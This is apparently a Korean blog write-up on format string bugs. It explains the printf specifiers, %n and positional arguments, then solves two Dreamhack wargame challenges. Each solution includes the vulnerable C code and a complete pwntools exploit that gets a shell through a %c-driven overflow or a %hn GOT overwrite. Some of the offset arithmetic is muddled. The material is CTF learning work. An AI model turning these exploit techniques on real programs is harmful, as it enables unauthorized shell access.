Pwn

Format String Bug

ENFJ_T 2023. 9. 1. 20:26
  • chapter 1 : theory
  • chapter 2 : wargame 1
  • chapter 3 : wargame 3

https://learn.dreamhack.io/114#1

 

로그인 | Dreamhack

 

dreamhack.io

Theory

Format  String이란?

Format String을 사용하는 함수에서 어떤 형식 또는 형태를 지정해주는 문자열이다.

예)

#include <stdio.h>

int main(){
	char str[6] = "hello!";
	printf("%s", str);
    return 0;
}

위와 같은 곳에서 %s 같은 것을 Format String 이라고 할 수 있음

포맷 스트링 함수의 예시는 printf, scanf, fprintf 등 등과 같은 함수가 있다.

 

Parameters  Output
%% %문자
%d 정수형 문자
%s  문자열
%x 부호없는 16진수 정수
%p void형 포인터
%n 인자에 현재까지 사용된 문자열의 길이 저장
%c 문자
%(정수)형식지정자 정수의 값만큼 최소 너비로 지정
%*형식지정자 인자값 만큼 최소 너비로 지정

인자 사이에 $를 넣는 것

달러 기호를 사용해 인자의 인덱스에 접근할 수 있다.

예)

// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include <stdio.h>

int main() {
  int num;
  printf("%2$d, %1$d\n", 2, 1);  // "1, 2"
  return 0;
}

위와 같이 %2$d로 두번째 인자에 접근, %1$d로 첫번째 인자에 접근 할 수 있다. (처음에 이해 못해서 C언어로 돌려서 이해함)

Format String Bug

포맷 스트링 함수의 잘못된 사용으로 일어나는 버그. 

포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있습니다.

예시)

#include <stdio.h>

int main(){
	char buf[32] = {0, }
    
    read(0, buf, 32);
    printf(buf);
    
    return 0;
}

위와 같은 코드에서 printf(buf) 에 buf를 바로 주입해서 %p 와같은 포맷스트링을 입력 했을 때 값이 나온다.

 

근데 생각을 해보자 인자값이 없는데 %p를 하면 값이 나온다 왜 그럴까?

이유는 calling convention 규약에 있다. 

그 출력된 값들은 레지스터와 스택에 존재하는 값이 출력되는 것입니다. 출력된 값은 각각 64bit에서 각각 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20] 이다. 

위와 같은 원리를 통해서 %p로 임의의 주소를 읽을 수 있다.

조작

임의의 주소 읽기와 마찬가지로 포맷 스트링에 임의의 주소를 넣고, %[n]$n 으로 형식지정자를 이용하여 그 주소에 데이터를 쓸 수 있다. -> n번째 인자값에 n개의 개수만큼 저장으로 원하는 값 저장 가능

 

위와 같은 포맷 스트링으로 값을 조작해 쉘을 흭득 할 수 있다.

wargame 1

https://dreamhack.io/wargame/challenges/5

 

basic_exploitation_003

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

C언어 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

보호기법

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

C코드 분석

동적 할당 heap_buf 0x80만큼 선언 stack_buf 0x90 만큼 선언 read에 동적 할당한 heap_buf에 0x80만큼 받고 sprintf 에서 heap_buf에 있는 내용을 stack_buf에 옮기고 출력한다.

취약점

여기는 위에서 설명한 sprintf에서 fsb 취약점이 일어난다. sprintf는 heap_buf에 있는 내용을 stack_buf에 저장하는데 %[n]c와 같이 포맷스트링으로 된 내용도 저장을 하기 때문에 문제가 생긴다. 근데 여기서 문재가 생기는데 heap buf는 저장할 때 "%[n]c"로 저장을 하는데 stack buf에 옮겨졌을 때는 n만큼의 글자로 저장이 되기 때문에 여기서 fsb가 일어나는 동시에 bof를 이르킬 수 있다. 또한 그냥 fsb를 이용하여 스택에 printf의 got주소를 지정하여 got overwrite를 할 수도 있다. 여기선 더 쉬운 bof를 이용하여 익스플로잇 할 것이다.

익스플로잇

먼저  stack_buf에서 ret만큼의 크기를 구한다.

gdb로 뜯어본 결과    0x08048696 <+26>:    lea    edx,[ebp-0x98] 이므로

stack_buf에서 sfp까지 98인데 sfp 4바이트를 빼야함으로 9c가 된다 그것을 10진수로 변환하면 156이기 때문에 %156c로 포맷 스트링 버그를 이용한 버퍼 오버플로우를 이르킬 수 있다. 거기에 ret에 접근 했으므로 get shell에 주소를 보내준다.

총 익스플로잇

from pwn import*
p = remote("host3.dreamhack.games", 23693)
binsh = 0x08048669

payload = b"%156c" + p32(binsh)
p.sendline(payload)
p.interactive()

wargame 2

basic_exploitation_002

https://dreamhack.io/wargame/challenges/4

 

basic_exploitation_002

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_002)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

C언어 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

보호기법

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

C코드 분석

처음 read로 buf 읽는다. printf로 읽은 값 출력한다. exit를 쓴다.

 

취약점

read로 0x80을 받기 때문에 오버 플로우가 안 일어난다. 하지만 printf(buf); 가 있다. 여기서 포맷 스트링 버그가 난다. 그 포맷 스트링 버그를 통해 exit_got 오버라이트를 이르킬 수 있다.

익스플로잇

먼저 exit_got의 주소를 구한다

exit got 주소 구하기

위와 같이 gdb로 exit got의 주소를 구한다

exit got = 0x804a024

get shell 주소 구하기

get_shell = 0x08048609

위와 같은 주소를 구한다

from pwn import *

p = remote("host3.dreamhack.games", 17108)
# context.log_level = 'debug'

# binsh = 0x08048609
exit_got = 0x804a024

binsh을 주석 처리 한 이유는 포맷 스트링으로 채울 때 생긴다.

get shell의 주소를 10진수로 바꾸면 134,514,185 이숫자가 되는데 이 정도의 숫자를 공백으로 채우면 아무리 exit의 주소를 뺀다 하더라도 타임 오버가 걸릴 확률이 매우 많다. 또한 exit got에 한번에 넣기에는 0x804는 너무 크다.

그래서 %hn으로 exit + 2에 먼저 받고 exit에 0x8609로 자른다 하지만 바로 0x804 = 2052 를 바로 넣기에는 exit에 주소 길이가 있으니 - 8을 해준다 * 2(exit + 2로 인해) -> 2052 - 16 = 2044 그러므로 %2044c가 된다 거기에 0x8609 = 34313이므로 위와 같이 하지만 2044까지 빼야 되니까 2052를 빼준다 40996 - 2052 = 32261 이므로 %32261c 가된다. 그러므로 

총 익스플로잇

from pwn import *

p = remote("host3.dreamhack.games", 17108)
# context.log_level = 'debug'

# binsh = 0x08048609
# binsh = 804   8609
exit_got = 0x804a024

payload = p32(exit_got) + p32(exit_got + 2) + b"%2044c%1$hn%32261c%1$hn"
p.sendline(payload)
p.interactive()